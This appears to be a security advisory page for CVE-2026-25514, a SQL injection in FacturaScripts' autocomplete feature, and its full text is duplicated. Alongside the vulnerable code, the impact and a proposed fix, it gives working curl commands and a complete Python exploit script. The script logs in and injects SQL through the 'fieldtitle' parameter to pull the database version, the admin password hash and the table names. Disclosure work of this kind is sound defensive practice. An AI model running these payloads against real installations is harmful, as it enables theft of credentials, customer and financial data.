8.8
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
FacturaScripts versions prior to 2025.81 suffer from a remote SQL injection vulnerability in the Autocomplete Actions functionality...
Basic Information
ID
PACKETSTORM:218733
Published
Apr 13, 2026 at 00:00
Affected Product
Affected Versions
# CVE-2026-25514: FacturaScripts has SQL Injection in Autocomplete Actions
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-25514](https://nvd.nist.gov/vuln/detail/CVE-2026-25514) |
| **Severity** | HIGH |
| **Advisory** | [View Advisory](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **facturascripts/facturascripts** (versions: < 2025.81)
## CWE Classification
- CWE-20: Improper Input Validation
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic
## Details
### Summary
**FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.
---
### Details
Multiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.
#### Vulnerable Code Location
**File:** `/Core/Model/CodeModel.php`
**Method:** `all()`
**Lines:** 108-109
```php
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
```
#### Vulnerable Parameters
The following parameters are vulnerable to SQL injection:
1. **`source`** → Maps to `$tableName` - Table name injection
2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection
3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector)
#### Attack Flow
1. Attacker authenticates with valid credentials (any user role)
2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`
3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter
4. Application executes the injected SQL and returns results in JSON format
5. Attacker extracts sensitive data from the database
---
### Proof of Concept (PoC)
#### Prerequisites
- Valid authentication credentials (admin/admin in test instance)
- Access to FacturaScripts web interface
#### Step-by-Step Manual Exploitation (CLI)
Since FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.
**1. Obtain initial token and session cookie:**
FacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.
```bash
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
```
**2. Authenticate (Login):**
Use the saved cookie and the token to log in.
```bash
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
```
**3. Extract Database Version:**
Obtain a fresh token for the next request and execute the injection.
```bash
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```
**4. Extract Database User and Name:**
```bash
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```
**5. Extract Admin Password Hash:**
```bash
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```
#### Automated Exploitation Script
```python
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
```
<img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />
---
### Impact
This SQL injection vulnerability has **CRITICAL** impact:
#### Data Confidentiality
- **Complete database disclosure** - Attacker can extract all data including:
- User credentials (password hashes)
- Customer information (names, addresses, tax IDs, etc.)
- Financial records (invoices, payments, bank details)
- Business logic and configuration data
- Plugin and system settings
#### Who is Impacted?
- **All FacturaScripts installations** running vulnerable versions
- **All authenticated users** can exploit (not just admins)
- **Businesses using FacturaScripts** for accounting/invoicing
- **Customers whose data is stored** in the system
---
### Recommended Fix
#### Immediate Remediation
**Option 1: Use Prepared Statements**
```php
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
```
### Credits
**Discovered by:** Łukasz Rybak
## References
- https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
- https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
- https://nvd.nist.gov/vuln/detail/CVE-2026-25514
- https://github.com/advisories/GHSA-pqqg-5f4f-8952
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-25514](https://nvd.nist.gov/vuln/detail/CVE-2026-25514) |
| **Severity** | HIGH |
| **Advisory** | [View Advisory](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **facturascripts/facturascripts** (versions: < 2025.81)
## CWE Classification
- CWE-20: Improper Input Validation
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic
## Details
### Summary
**FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.
---
### Details
Multiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.
#### Vulnerable Code Location
**File:** `/Core/Model/CodeModel.php`
**Method:** `all()`
**Lines:** 108-109
```php
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
```
#### Vulnerable Parameters
The following parameters are vulnerable to SQL injection:
1. **`source`** → Maps to `$tableName` - Table name injection
2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection
3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector)
#### Attack Flow
1. Attacker authenticates with valid credentials (any user role)
2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`
3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter
4. Application executes the injected SQL and returns results in JSON format
5. Attacker extracts sensitive data from the database
---
### Proof of Concept (PoC)
#### Prerequisites
- Valid authentication credentials (admin/admin in test instance)
- Access to FacturaScripts web interface
#### Step-by-Step Manual Exploitation (CLI)
Since FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.
**1. Obtain initial token and session cookie:**
FacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.
```bash
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
```
**2. Authenticate (Login):**
Use the saved cookie and the token to log in.
```bash
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
```
**3. Extract Database Version:**
Obtain a fresh token for the next request and execute the injection.
```bash
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```
**4. Extract Database User and Name:**
```bash
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```
**5. Extract Admin Password Hash:**
```bash
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```
#### Automated Exploitation Script
```python
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
```
<img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />
---
### Impact
This SQL injection vulnerability has **CRITICAL** impact:
#### Data Confidentiality
- **Complete database disclosure** - Attacker can extract all data including:
- User credentials (password hashes)
- Customer information (names, addresses, tax IDs, etc.)
- Financial records (invoices, payments, bank details)
- Business logic and configuration data
- Plugin and system settings
#### Who is Impacted?
- **All FacturaScripts installations** running vulnerable versions
- **All authenticated users** can exploit (not just admins)
- **Businesses using FacturaScripts** for accounting/invoicing
- **Customers whose data is stored** in the system
---
### Recommended Fix
#### Immediate Remediation
**Option 1: Use Prepared Statements**
```php
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
```
### Credits
**Discovered by:** Łukasz Rybak
## References
- https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
- https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
- https://nvd.nist.gov/vuln/detail/CVE-2026-25514
- https://github.com/advisories/GHSA-pqqg-5f4f-8952
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.